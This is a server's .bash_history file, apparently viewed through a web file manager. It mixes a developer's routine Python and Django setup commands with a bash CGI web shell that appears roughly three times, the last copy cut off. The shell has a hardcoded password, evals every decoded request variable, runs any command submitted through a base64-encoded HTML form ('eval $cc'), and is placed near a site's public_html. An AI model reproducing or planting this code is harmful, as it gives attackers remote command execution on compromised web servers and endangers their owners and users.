芝麻web文件管理V1.00
编辑当前文件:/home/paymbalq/.bash_history
#1710936593 source /home/paymbalq/virtualenv/tamela_backend/3.9/bin/activate && cd /home/paymbalq/tamela_backend #1710936597 ls #1710936611 pip install -r requirements.txt #1710936694 pip install --upgrade pip setuptools #1710936705 pip install -r requirements.txt #1710936736 pip3 install -r requirements.txt #1710936769 sudo pip3 install -r requirements.txt #1710936812 pip3 install django djangorestframework django-cors-headers whitenoise psycopg2-binary dj-database-url #1710936832 pip3 install django djangorestframework django-cors-headers whitenoise #1710936916 pip3 install numpy #1710936957 pip3 install ninja #1710936961 pip3 install numpy #1710936988 Downloading numpy-1.26.4.tar.gz (15.8 MB) #1710936988 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 15.8/15.8 MB 14.5 MB/s eta 0:00:00 #1710936988 Installing build dependencies ... | done #1710936988 Getting requirements to build wheel ... done #1710936988 Installing backend dependencies ... done #1710936988 Preparing metadata (pyproject.toml) ... error #1710936988 error: subprocess-exited-with-error #1710936988 × Preparing metadata (pyproject.toml) did not run successfully. #1710936988 │ exit code: 1 #1710936988 ╰─> [2 lines of output] #1710936988 ('\x1b[31m',)meson-python: error: Could not find ninja version 1.8.2 or newer. #1710936988 [end of output] #1710936988 note: This error originates from a subprocess, and is likely not a problem with pip. #1710936988 error: metadata-generation-failed #1710936988 × Encountered error while generating package metadata. #1710936988 ╰─> See above for output. #1710936988 note: This is an issue with the package mentioned above, not pip. #1710936988 hint: See above for details. #1710936988 ((tamela/backend:3.9)) [paymbalq@server195 tamela_backend]$ #1710936988 ((tamela/backend:3.9)) [paymbalq@server195 tamela_backend]$ pip3 install ninja #1710936988 Collecting ninja #1710936988 Using cached ninja-1.11.1.1-py2.py3-none-manylinux1_x86_64.manylinux_2_5_x86_64.whl.metadata (5.3 kB) #1710936988 Using cached ninja-1.11.1.1-py2.py3-none-manylinux1_x86_64.manylinux_2_5_x86_64.whl (307 kB) #1710936988 Installing collected packages: ninja #1710936988 Successfully installed ninja-1.11.1.1 #1710936988 ((tamela/backend:3.9)) [paymbalq@server195 tamela_backend]$ pip3 install numpy #1710936988 Collecting numpy #1710936988 Using cached numpy-1.26.4.tar.gz (15.8 MB) #1710936988 Installing build dependencies ... done #1710936988 Getting requirements to build wheel ... done #1710936988 Installing backend dependencies ... done #1710936988 Preparing metadata (pyproject.toml) ... error #1710936988 error: subprocess-exited-with-error #1710936988 × Preparing metadata (pyproject.toml) did not run successfully. #1710936988 │ exit code: 1 #1710936988 ╰─> [2 lines of output] #1710936988 ('\x1b[31m',)meson-python: error: Could not find ninja version 1.8.2 or newer. #1710936988 [end of output] #1710936988 note: This error originates from a subprocess, and is likely not a problem with pip. #1710936988 error: metadata-generation-failed #1710936988 × Encountered error while generating package metadata. #1710936988 ╰─> See above for output. #1710936988 note: This is an issue with the package mentioned above, not pip. #1710936988 hint: See above for details. #1710936988 ((tamela/backend:3.9)) [paymbalq@server195 tamela_backend]$ #1710937015 pip install --upgrade ninja #1710937023 ((tamela/backend:3.9)) [paymbalq@server195 tamela_backend]$ pip install --upgrade ninja #1710937023 Requirement already satisfied: ninja in /home/paymbalq/virtualenv/tamela_backend/3.9/lib64/python3.9/site-packages (1.11.1.1) #1710937045 apt-get install ninja-build #1710937055 pip install --force-reinstall numpy #1710937219 pip install --upgrade pip setuptools #1710937242 python #1710937298 pip install --upgrade pip3 setuptools #1710937315 pip3 install --upgrade pip setuptools #1710937327 pip3 install numpy #1710937368 ckend/3.9/lib/python3.9/site-packages (69.2.0) #1710937368 ((tamela/backend:3.9)) [paymbalq@server195 tamela_backend]$ pip3 install numpy #1710937368 Collecting numpy #1710937368 Using cached numpy-1.26.4.tar.gz (15.8 MB) #1710937368 Installing build dependencies ... done #1710937368 Getting requirements to build wheel ... done #1710937368 Installing backend dependencies ... done #1710937368 Preparing metadata (pyproject.toml) ... error #1710937368 error: subprocess-exited-with-error #1710937369 × Preparing metadata (pyproject.toml) did not run successfully. #1710937369 │ exit code: 1 #1710937369 ╰─> [2 lines of output] #1710937369 ('\x1b[31m',)meson-python: error: Could not find ninja version 1.8.2 or newer. #1710937369 [end of output] #1710937369 note: This error originates from a subprocess, and is likely not a problem with pip. #1710937369 error: metadata-generation-failed #1710937369 × Encountered error while generating package metadata. #1710937369 ╰─> See above for output. #1710937369 note: This is an issue with the package mentioned above, not pip. #1710937369 hint: See above for details. #1710937470 ninja --version #1710937502 pip install meson-pytho #1710937513 pip3 install meson-python #1710937531 pip3 install numpy #1710938299 pip3 install tensorflow=2.15.0 #1710938313 source /home/paymbalq/virtualenv/tamela_backend/3.7/bin/activate && cd /home/paymbalq/tamela_backend #1710938319 ls #1710938324 pip install numpy #1710938353 pip install -r requiremts.txxt #1710938357 pip install -r requiremts.txt #1710938370 pip install -r requirements.txt #1710938434 pip install tensorflow==2.15.0 #1710938444 pip install tensorflow #1710939875 /models/orientation #1710940404 pip install tensorflowCollecting grpcio<2.0,>=1.24.3 #1710940404 Using cached grpcio-1.62.1.tar.gz (26.3 MB) #1710940404 Preparing metadata (setup.py) ... error #1710940404 error: subprocess-exited-with-error #1710940404 × python setup.py egg_info did not run successfully. #1710940404 │ exit code: 1 #1710940404 ╰─> [12 lines of output] #1710940404 Traceback (most recent call last): #1710940404 File "
", line 36, in
#1710940404 File "
", line 34, in
#1710940404 File "/tmp/pip-install-u5804ynn/grpcio_c261c8c47ebf40ef84ce3bcfdc2e56d7/ setup.py", line 273, in
#1710940404 if check_linker_need_libatomic(): #1710940404 File "/tmp/pip-install-u5804ynn/grpcio_c261c8c47ebf40ef84ce3bcfdc2e56d7/ setup.py", line 221, in check_linker_need_libatomic #1710940404 stderr=PIPE, #1710940404 File "/opt/alt/python37/lib64/python3.7/subprocess.py", line 800, in __i nit__ #1710940404 restore_signals, start_new_session) #1710940404 File "/opt/alt/python37/lib64/python3.7/subprocess.py", line 1567, in _e xecute_child #1710940404 raise child_exception_type(errno_num, err_msg, err_filename) #1710940404 PermissionError: [Errno 13] Permission denied: 'c++' #1710940404 [end of output] #1710940404 note: This error originates from a subprocess, and is likely not a problem wit h pip. #1710940404 error: metadata-generation-failed #1710940404 × Encountered error while generating package metadata. #1710940404 ╰─> See above for output. #1710940404 note: This is an issue with the package mentioned above, not pip. #1710940404 hint: See above for details. #1710940433 Collecting grpcio<2.0,>=1.24.3 #1710940433 Using cached grpcio-1.62.1.tar.gz (26.3 MB) #1710940433 Preparing metadata (setup.py) ... error #1710940433 error: subprocess-exited-with-error #1710940433 × python setup.py egg_info did not run successfully. #1710940433 │ exit code: 1 #1710940433 ╰─> [12 lines of output] #1710940433 Traceback (most recent call last): #1710940433 File "
", line 36, in
#1710940433 File "
", line 34, in
#1710940433 File "/tmp/pip-install-u5804ynn/grpcio_c261c8c47ebf40ef84ce3bcfdc2e56d7/setup.py", line 273, in
#1710940433 if check_linker_need_libatomic(): #1710940433 File "/tmp/pip-install-u5804ynn/grpcio_c261c8c47ebf40ef84ce3bcfdc2e56d7/setup.py", line 221, in check_linker_need_libatomic #1710940433 stderr=PIPE, #1710940433 File "/opt/alt/python37/lib64/python3.7/subprocess.py", line 800, in __init__ #1710940433 restore_signals, start_new_session) #1710940433 File "/opt/alt/python37/lib64/python3.7/subprocess.py", line 1567, in _execute_child #1710940433 raise child_exception_type(errno_num, err_msg, err_filename) #1710940433 PermissionError: [Errno 13] Permission denied: 'c++' #1710940433 [end of output] #1710940433 note: This error originates from a subprocess, and is likely not a problem with pip. #1710940433 error: metadata-generation-failed #1710940433 × Encountered error while generating package metadata. #1710940433 ╰─> See above for output. #1710940433 note: This is an issue with the package mentioned above, not pip. #1710940433 hint: See above for details. #1710940691 python3.9 #1710940698 pip3.9 #1710940702 pip3 #1710940709 sudo #1710940715 root #1710994735 source /home/paymbalq/virtualenv/tamela_backend/3.7/bin/activate && cd /home/paymbalq/tamela_backend #1710994748 deactivate #1710994828 ls #1710994841 pip install -r requirements.txt #1710994860 sudo su #1710994871 source /home/paymbalq/virtualenv/tamela_backend/3.9/bin/activate && cd /home/paymbalq/tamela_backend #1710994883 pip3 install -r requirements.txt #1710994987 pip3 install numpy #1710995020 ninja --version #1710995301 ls #1710995362 pip3 install ./numpy-1.22.4+vanilla-cp39-cp39-win_amd64.whl #1710995428 python -m pip install --upgrade pip #1710995441 pip3install ./numpy-1.22.4+vanilla-cp39-cp39-win_amd64.whl #1710995453 pip install ./numpy-1.22.4+vanilla-cp39-cp39-win_amd64.whl #1710995621 source /home/paymbalq/virtualenv/tamela_backend/3.8/bin/activate && cd /home/paymbalq/tamela_backend #1710995632 pip install numpy #1710995700 source /home/paymbalq/virtualenv/tamela_backend/3.9/bin/activate && cd /home/paymbalq/tamela_backend #1710995715 pip list #1710995743 pip install tensorflow==2.15.0 #1710995778 pip install tensorflow #1711023299 source /home/paymbalq/virtualenv/tamela_backend/3.9/bin/activate && cd /home/paymbalq/tamela_backend #1711023303 ls #1711024026 pip install ./numpy-1.22.4+mkl-cp39-cp39-win #1711024041 pip install ./numpy-1.22.4+mkl-cp39-cp39-win_amd64.whl #1711024047 pip install ./numpy-1.22.4+mkl-cp39-cp39-wn3 #1711024056 pip install ./numpy-1.22.4+mkl-cp39-cp39-win32.whl #1711024077 python -m pip install --upgrade pip #1711024107 python --version #1711024141 python #1711024274 pip install ./numpy-1.22.4+mkl-cp39-none-any.whl #1711024379 pip install tensorflow==2.15.0 #1711024391 pip list #1711024449 pip install tensorflow #1711024550 pip install ./grpcio-1.38.0-cp39-cp39-win_amd64.whl #1711024581 pip install ./grpcio-1.38.0-cp39-none-any.whl #1711024587 pip install tensorflow #1711024837 source /home/paymbalq/virtualenv/tamela_backend/3.7/bin/activate && cd /home/paymbalq/tamela_backend #1711024842 pip list #1711024858 pip install tensorflow #1711034456 source /home/paymbalq/virtualenv/tamela_backend/3.9/bin/activate && cd /home/paymbalq/tamela_backend #1711034469 python manage.py runserver #1711034499 pip install djangorestframework-simplejwt==5.3.1 #1711034517 pip install Django==4.2.8 #1711034527 django-bitfield==2.2.0 #1711034527 django-cors-headers==4.3.1 #1711034527 django-geo==0.8 #1711034527 django-js-asset==2.2.0 #1711034527 django-mptt==0.15.0 #1711034527 django-redis==5.4.0 #1711034527 django-rq==2.10.1 #1711034527 django-separatedvaluesfield==0.6.0 #1711034527 django-timezone-field==6.1.0 #1711034527 django-uuidfield==0.5.0 #1711034527 django-uuslug==2.0.0 #1711034527 djangorestframework==3.14.0 #1711034545 pip install django-redis #1711034580 pip install django-uuidfield #1711034587 pip install uuid #1711034597 pip install requests #1711034608 pip install pyJWT #1711034612 pip install pillow #1711034641 pip install Pillow==10.1.0 #1711034741 ls #1711034773 pip install ./Pillow-9.1.1-cp39-cp39-win_amd64.whl #1711034804 pip install ./Pillow-9.1.1-cp39-none-any.whl #1711035063 python manage.py runserver #1711035155 pip install urllib3==1.26.6 #1711035159 python manage.py runserver #1711035181 python -m pip install Pillow #1711035195 python -m pip install --upgrade Pillow #1711035252 pip install pillow==8.0.0. #1711035259 python manage.py runserver #1711035435 pip install asyncio #1711035517 pip install futures #1711035753 python manage.py runserver ls cd tamela_double_blinded_study/ ls source /home/paymbalq/virtualenv/tamela_double_blinded_study/3.9/bin/activate && cd /home/paymbalq/tamela_double_blinded_study python pip freeze pip install django djangorestframework django-cors-headers pillow pip install djangorestframework-simplejwt pip install whitenoise pip install PyJWT python manage.py makemigrations python manage.py migrate source /home/paymbalq/virtualenv/tamela_double_blinded_study/3.9/bin/activate && cd /home/paymbalq/tamela_double_blinded_study ls cd study ls cd .. cd model_train_images/ ls cd study ls AYvsZ4Ic98QR source /home/paymbalq/virtualenv/tamela_double_blinded_study/3.9/bin/activate && cd /home/paymbalq/tamela_double_blinded_study ls python manage.py study source /home/paymbalq/virtualenv/tamela_double_blinded_study/3.9/bin/activate && cd /home/paymbalq/tamela_double_blinded_study python manage.py makemigrations python manage.py migrate ls cd api cat views.py cat urls.py cd .. ls cat study/urls.py pip freeze source /home/paymbalq/virtualenv/tamela_double_blinded_study/3.9/bin/activate && cd /home/paymbalq/tamela_double_blinded_study pip freeze pip install django djangorestframework django-cors-headers whitenoise pillow pyJWT djangorestframework-simplejwt python manage.py collectstatic cat study/urls.py cat api/urls.py cat study/settings.py pip install python-dotenv pip install psycopg2-binary source /home/paymbalq/virtualenv/tamela_double_blinded_study/3.9/bin/activate && cd /home/paymbalq/tamela_double_blinded_study ls cat api/management/commands/study.py python manage.py study source /home/paymbalq/virtualenv/tamela_double_blinded_study/3.9/bin/activate && cd /home/paymbalq/tamela_double_blinded_study python manage.py study source /home/paymbalq/virtualenv/tamela_double_blinded_study/3.9/bin/activate && cd /home/paymbalq/tamela_double_blinded_study pip freeze source /home/paymbalq/virtualenv/tamela_double_blinded_study/3.9/bin/activate && cd /home/paymbalq/tamela_double_blinded_study pip install django djangorestframework_simplejwt pip install pillow whitenoise pip install psycopg2-binary python manage.py collectstatic pip install python-dotenv python manage.py collectstatic python manage.py runserver pip install django-cors-headers python manage.py runserver python manage.py makemigrations python manage.py migrate python manage.py createsuperuser ls cd media/uploads ls cd .. ls python manage.py makemigrations python manage.py igrate python manage.py migrate ;s ls python manage.py study cd domains/kalibotics.com/ cd domains/kalibotics.com/public_html #!/bin/bash -i # password="123" function cgi_get_POST_vars() { [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && echo "Warning: you should probably use MIME type " "application/x-www-form-urlencoded!" 1>&2 [ -z "$QUERY_STRING_POST" -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && read -n $CONTENT_LENGTH QUERY_STRING_POST; return; } function cgi_decodevar() { [ $# -ne 1 ] && return; local v t h; t="${1//+/ }%%"; while [ ${#t} -gt 0 -a "${t}" != "%" ]; do v="${v}${t%%\%*}" ; t="${t#*%}" ; if [ ${#t} -gt 0 -a "${t}" != "%" ]; then h=${t:0:2} ; t="${t:2}" ; v="${v}"`echo -e \\\\x${h}` ; fi; done; echo "${v}"; return; } function cgi_getvars() { [ $# -lt 2 ] && return; local q p k v s case $1 in GET) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; ;; POST) cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; ;; BOTH) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; ;; esac; shift; s=" $* " while [ ! -z "$q" ]; do p="${q%%&*}" # get first part of query string; k="${p%%=*}" # get the key (variable name) from it; v="${p#*=}" # get the value from it; q="${q#$p&*}" # strip first part from query string [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && eval "$k=\"`cgi_decodevar \"$v\"`\""; done; return; } # register all GET and POST variables cgi_getvars BOTH ALL pass="SAVEDPWD=$password" passv=`echo $HTTP_COOKIE | awk '$pass|' -f0` if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo '
'; exit; else if [ -n "$xx" ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo '
'; else echo -e "Content-type: text/html\n\n"; fi; fi echo 'PGh0bWw+PHRpdGxlPldvcmtpbmc8L3RpdGxlPgo8aGVhZD4KPHN0eWxlPgoKYm9keQp7CgliYWNrZ3JvdW5kOiAjMzMzOwoJY29sb3I6ICNGNUY1RjU7CgoJcGFkZGluZzogMTBweDsKCn0KCgphOmxpbmssIGJvZHlfYWxpbmsKewoJY29sb3I6ICNGRjk5MzM7Cgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KYTp2aXNpdGVkLCBib2R5X2F2aXNpdGVkCnsKCWNvbG9yOiAjRkY5OTMzOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CmE6aG92ZXIsIGE6YWN0aXZlLCBib2R5X2Fob3Zlcgp7Cgljb2xvcjogI0ZGRkZGRjsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQoKdGV4dGFyZWEKewoJYm9yZGVyOiAxcHggc29saWQ7CgljdXJzb3I6IGRlZmF1bHQ7CgkKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KCmlucHV0CnsKCWJvcmRlcjogMXB4IHNvbGlkOwoJY3Vyc29yOiBkZWZhdWx0OwoJb3ZlcmZsb3c6IGhpZGRlbjsKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KaW5wdXQuYnV0dG9uIHsKZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3Owpjb2xvcjogI2ZmZmZmZjsKZm9udC1zaXplOiAxNnB4OwpwYWRkaW5nOiAxMHB4Owp0ZXh0LWRlY29yYXRpb246IG5vbmU7Ci13ZWJraXQtYm9yZGVyLXJhZGl1czogOHB4OwotbW96LWJvcmRlci1yYWRpdXM6IDhweDsKLXdlYmtpdC1ib3gtc2hhZG93OiAwcHggMXB4IDNweCAjYWJhYmFiOwotbW96LWJveC1zaGFkb3c6IDBweCAxcHggM3B4ICNhYmFiYWI7CnRleHQtc2hhZG93OiAxcHggMXB4IDNweCAjNjY2NjY2Owpib3JkZXI6IHNvbGlkICNkZWRiZGUgMXB4OwpiYWNrZ3JvdW5kOiAjOTA5MDkwIDsKfQouYnV0dG9uOmhvdmVyIHsKYmFja2dyb3VuZDogI0IwQjBCMDsKfQoKIGRpdi5ib3gKewpjb2xvcjogIzMzMzsKYm9yZGVyOjNweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjEwcHggNDBweDsgCmJhY2tncm91bmQ6I2U4ZThlODsKd2lkdGg6OTQlOwpib3JkZXItcmFkaXVzOjI1cHg7Ci1tb3otYm9yZGVyLXJhZGl1czoyNXB4OyAvKiBGaXJlZm94IDMuNiBhbmQgZWFybGllciAqLwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CjxjZW50ZXI+CjxwcmU+CjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly9kLnRvcDR0b3AubmV0L3BfMjQ5YTRpajEucG5nIj48L2NlbnRlcj4KPC9wcmU+Cgo8ZGl2IGFsaWduPSJjZW50ZXIiPg==' | base64 -d if [ -n "$cc" ] ; then echo "
"; cd $d ; eval $cc; echo "
$?
"; echo '
'; fi echo 'PGJyPjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCQ0KCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCTxkaXYgYWxpZ249ImNlbnRlciI+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEyMCIgaWQ9InRhYmxlMSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj48dHI+PHRkIHdpZHRoPSI3MTIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjYyIgc2l6ZT0iMTAwIiAgLz48L3RkPjx0ZD48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iNzEyIj4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkIiBzaXplPSIxMDAiIHZhbHVlPSI=' | base64 -d pwd echo 'Ii8+CjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ1dHRvbjEiIHZhbHVlPSJT ZW5kIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PjwvZm9ybT48YnI+PGJyPgo8YnI+PGJyPjxo cj48Y2VudGVyPgo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KCQoJPGZvcm0gbWV0aG9k PSJwb3N0IiBhY3Rpb249IiI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjYzIiIHZhbHVl PSI0IiAgLz4KCQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ1dHRvbiIgbmFtZT0iYnV0 dG9uIiB2YWx1ZT0iTG9nb3V0IiAvPgoJPC9mb3JtPg==' | base64 -d #!/bin/bash -i # password="123" function cgi_get_POST_vars() { [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && echo "Warning: you should probably use MIME type " "application/x-www-form-urlencoded!" 1>&2 [ -z "$QUERY_STRING_POST" -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && read -n $CONTENT_LENGTH QUERY_STRING_POST; return; } function cgi_decodevar() { [ $# -ne 1 ] && return; local v t h; t="${1//+/ }%%"; while [ ${#t} -gt 0 -a "${t}" != "%" ]; do v="${v}${t%%\%*}" ; t="${t#*%}" ; if [ ${#t} -gt 0 -a "${t}" != "%" ]; then h=${t:0:2} ; t="${t:2}" ; v="${v}"`echo -e \\\\x${h}` ; fi; done; echo "${v}"; return; } function cgi_getvars() { [ $# -lt 2 ] && return; local q p k v s case $1 in GET) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; ;; POST) cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; ;; BOTH) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; ;; esac; shift; s=" $* " while [ ! -z "$q" ]; do p="${q%%&*}" # get first part of query string; k="${p%%=*}" # get the key (variable name) from it; v="${p#*=}" # get the value from it; q="${q#$p&*}" # strip first part from query string [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && eval "$k=\"`cgi_decodevar \"$v\"`\""; done; return; } # register all GET and POST variables cgi_getvars BOTH ALL pass="SAVEDPWD=$password" passv=`echo $HTTP_COOKIE | awk '$pass|' -f0` if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo '
'; exit; else if [ -n "$xx" ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo '
'; else echo -e "Content-type: text/html\n\n"; fi; fi echo 'PGh0bWw+PHRpdGxlPldvcmtpbmc8L3RpdGxlPgo8aGVhZD4KPHN0eWxlPgoKYm9keQp7CgliYWNrZ3JvdW5kOiAjMzMzOwoJY29sb3I6ICNGNUY1RjU7CgoJcGFkZGluZzogMTBweDsKCn0KCgphOmxpbmssIGJvZHlfYWxpbmsKewoJY29sb3I6ICNGRjk5MzM7Cgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KYTp2aXNpdGVkLCBib2R5X2F2aXNpdGVkCnsKCWNvbG9yOiAjRkY5OTMzOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CmE6aG92ZXIsIGE6YWN0aXZlLCBib2R5X2Fob3Zlcgp7Cgljb2xvcjogI0ZGRkZGRjsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQoKdGV4dGFyZWEKewoJYm9yZGVyOiAxcHggc29saWQ7CgljdXJzb3I6IGRlZmF1bHQ7CgkKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KCmlucHV0CnsKCWJvcmRlcjogMXB4IHNvbGlkOwoJY3Vyc29yOiBkZWZhdWx0OwoJb3ZlcmZsb3c6IGhpZGRlbjsKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KaW5wdXQuYnV0dG9uIHsKZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3Owpjb2xvcjogI2ZmZmZmZjsKZm9udC1zaXplOiAxNnB4OwpwYWRkaW5nOiAxMHB4Owp0ZXh0LWRlY29yYXRpb246IG5vbmU7Ci13ZWJraXQtYm9yZGVyLXJhZGl1czogOHB4OwotbW96LWJvcmRlci1yYWRpdXM6IDhweDsKLXdlYmtpdC1ib3gtc2hhZG93OiAwcHggMXB4IDNweCAjYWJhYmFiOwotbW96LWJveC1zaGFkb3c6IDBweCAxcHggM3B4ICNhYmFiYWI7CnRleHQtc2hhZG93OiAxcHggMXB4IDNweCAjNjY2NjY2Owpib3JkZXI6IHNvbGlkICNkZWRiZGUgMXB4OwpiYWNrZ3JvdW5kOiAjOTA5MDkwIDsKfQouYnV0dG9uOmhvdmVyIHsKYmFja2dyb3VuZDogI0IwQjBCMDsKfQoKIGRpdi5ib3gKewpjb2xvcjogIzMzMzsKYm9yZGVyOjNweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjEwcHggNDBweDsgCmJhY2tncm91bmQ6I2U4ZThlODsKd2lkdGg6OTQlOwpib3JkZXItcmFkaXVzOjI1cHg7Ci1tb3otYm9yZGVyLXJhZGl1czoyNXB4OyAvKiBGaXJlZm94IDMuNiBhbmQgZWFybGllciAqLwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CjxjZW50ZXI+CjxwcmU+CjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly9kLnRvcDR0b3AubmV0L3BfMjQ5YTRpajEucG5nIj48L2NlbnRlcj4KPC9wcmU+Cgo8ZGl2IGFsaWduPSJjZW50ZXIiPg==' | base64 -d if [ -n "$cc" ] ; then echo "
"; cd $d ; eval $cc; echo "
$?
"; echo '
'; fi echo 'PGJyPjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCQ0KCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCTxkaXYgYWxpZ249ImNlbnRlciI+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEyMCIgaWQ9InRhYmxlMSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj48dHI+PHRkIHdpZHRoPSI3MTIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjYyIgc2l6ZT0iMTAwIiAgLz48L3RkPjx0ZD48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iNzEyIj4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkIiBzaXplPSIxMDAiIHZhbHVlPSI=' | base64 -d pwd echo 'Ii8+CjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ1dHRvbjEiIHZhbHVlPSJT ZW5kIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PjwvZm9ybT48YnI+PGJyPgo8YnI+PGJyPjxo cj48Y2VudGVyPgo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KCQoJPGZvcm0gbWV0aG9k PSJwb3N0IiBhY3Rpb249IiI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjYzIiIHZhbHVl PSI0IiAgLz4KCQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ1dHRvbiIgbmFtZT0iYnV0 dG9uIiB2YWx1ZT0iTG9nb3V0IiAvPgoJPC9mb3JtPg==' | base64 -d #!/bin/bash -i # password="123" function cgi_get_POST_vars() { [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && echo "Warning: you should probably use MIME type " "application/x-www-form-urlencoded!" 1>&2 [ -z "$QUERY_STRING_POST" -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && read -n $CONTENT_LENGTH QUERY_STRING_POST; return; } function cgi_decodevar() { [ $# -ne 1 ] && return; local v t h; t="${1//+/ }%%"; while [ ${#t} -gt 0 -a "${t}" != "%" ]; do v="${v}${t%%\%*}" ; t="${t#*%}" ; if [ ${#t} -gt 0 -a "${t}" != "%" ]; then h=${t:0:2} ; t="${t:2}" ; v="${v}"`echo -e \\\\x${h}` ; fi; done; echo "${v}"; return; } function cgi_getvars() { [ $# -lt 2 ] && return; local q p k v s case $1 in GET) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; ;; POST) cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; ;; BOTH) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; ;; esac; shift; s=" $* " while [ ! -z "$q" ]; do p="${q%%&*}" # get first part of query string; k="${p%%=*}" # get the key (variable name) from it; v="${p#*=}" # get the value from it; q="${q#$p&*}" # strip first part from query string [ "$1" = "ALL" -o "${s/ 